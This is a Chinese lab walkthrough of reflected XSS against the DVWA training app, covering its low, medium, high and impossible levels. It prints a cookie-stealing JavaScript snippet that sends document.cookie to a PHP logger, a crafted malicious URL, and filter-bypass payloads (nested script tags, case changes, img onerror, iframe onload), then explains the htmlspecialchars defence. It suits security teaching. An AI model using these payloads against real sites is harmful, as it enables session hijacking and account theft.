当前位置:   article > 正文

XSS反射型在DVWA靶场下详细实战演练_dvwa反射型xss攻击实例

dvwa反射型xss攻击实例


一、反射型

1.等级为low

1.1 在上篇文章,low等级的已经做过简单的Cookie示范,这里做一个补充。

先建立文本

D.js

var img = new Image();
img.src="http://127.0.0.1/DVWA/vulnerabilities/xss_r/D.php?x=" + document.cookie;
document.body.append(img);

  • 1
  • 2
  • 3
  • 4

D.php

<?php
$cookie = $_GET['x'];
$ip = getenv ('REMOTE_ADDR');
$time = date('Y-m-d g:i:s');
$fp = fopen("cookie.txt","a");
fwrite($fp,"IP: ".$ip."Date: ".$time." Cookie:".$cookie."\n");
fclose($fp);
?>

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9

在这里插入图片描述
我们要生成链接获取cookie 构造语句(script标签):

http://127.0.0.1/DVWA/vulnerabilities/xss_r/?name=<script src="http://127.0.0.1/DVWA/vulnerabilities/xss_r/hacker.js" /></script>
  • 1

然后这个url发给另一个用户后,这个用户点开并且输入了自己的姓名
在这里插入图片描述

我们会得到一个cookie。txt文件,里面就包含cookie。
在此时,我们可以登录DVWA
在这里插入图片描述
使用我们得到的cookie进行登录。

2.等级为medium

2.1测试过滤方式

按照惯例,我们还是测试是否存在xss漏洞
在这里插入图片描述
这里发现没有弹窗。
查看源码后发现
在这里插入图片描述

 $name = str_replace( '<script>', '', $_GET[ 'name' ] );
  • 1

这是str_replace()函数,意思是查看name内是否有script,有则把它替换成空格。简单的黑名单过滤。
对于str_replace()函数我们也可以通过双写绕过(内嵌)

<scr<script>ipt>alert(/xss/);</script>
原来是<script>alert(/xss/)</script>
  • 1
  • 2

然后再次进行测试,能够正常弹出。
在这里插入图片描述

2.2使用其他标签

也可以使用也可以使用非 script 标签的 xss payload绕过(替换)
img标签:

<img src=1 onerror=alert('xss')>

  • 1
  • 2

iframe标签

<iframe onload=alert(1)>

  • 1
  • 2

例如:
在这里插入图片描述
在SQL注入中,对于被过滤的关键词可以采用以下这几种方法:(大小写.转义.内嵌.替换)
上面那个双写绕过就是内嵌.
大小写:

<Script>alert('XSS')</Script>
  • 1

替换:使用其他标签来替换

<img src="#" οnerrοr=alert('XSS')>
  • 1

3.等级为high

还是输入那个一般语句进行测试,发现只剩下一个>,则应该是前面部分全部被过滤。猜测是更高级的黑名单过滤。
在这里插入图片描述
就像上面medium等级写的,可以使用其他非script的标签进行绕过。
例如使用img标签就可以成功。
在这里插入图片描述

4.等级为impossible

调换等级后发现,无论输入什么,都是这个样子。啊,对此我有点无语,这什么鬼,hello都不显?
在这里插入图片描述
好了,查看一下源码吧。ok,查看文件代码发现
在这里插入图片描述
这里使用了htmlspecialchars()函数,此函数是使用来把一些预定义的字符转换为HTML实体,返回转换后的新字符串,原字符串不变。如果 string 包含无效的编码,则返回一个空的字符串,除非设置了 ENT_IGNORE 或者 ENT_SUBSTITUTE 标志。
在此要讲的是:
XSS攻击的核心就是靠HTMLscript>标签或元素属性来执行Javascript脚本。
而 htmlspecialchars 则可以转义 <> ,这样就无法通过script标签攻击。同时又可以过滤掉双引号,单引号(需要另外加个参数),阻止靠元素属性来触发事件执行脚本

基本样子为:

& (和号) 成为 &amp;
" (双引号) 成为 &quot;
' (单引号) 成为 &apos;
< (小于) 成为 &lt;
> (大于) 成为 &gt;

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6

所以impossible使用的这个函数,使得此等级不存在xss漏洞。
(我这个目录怎么有点强迫症的feel,腿麻了。今天存储型写不完了啊啊啊啊,明天再更。)

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/IT小白/article/detail/335293
推荐阅读
相关标签
  

闽ICP备14008679号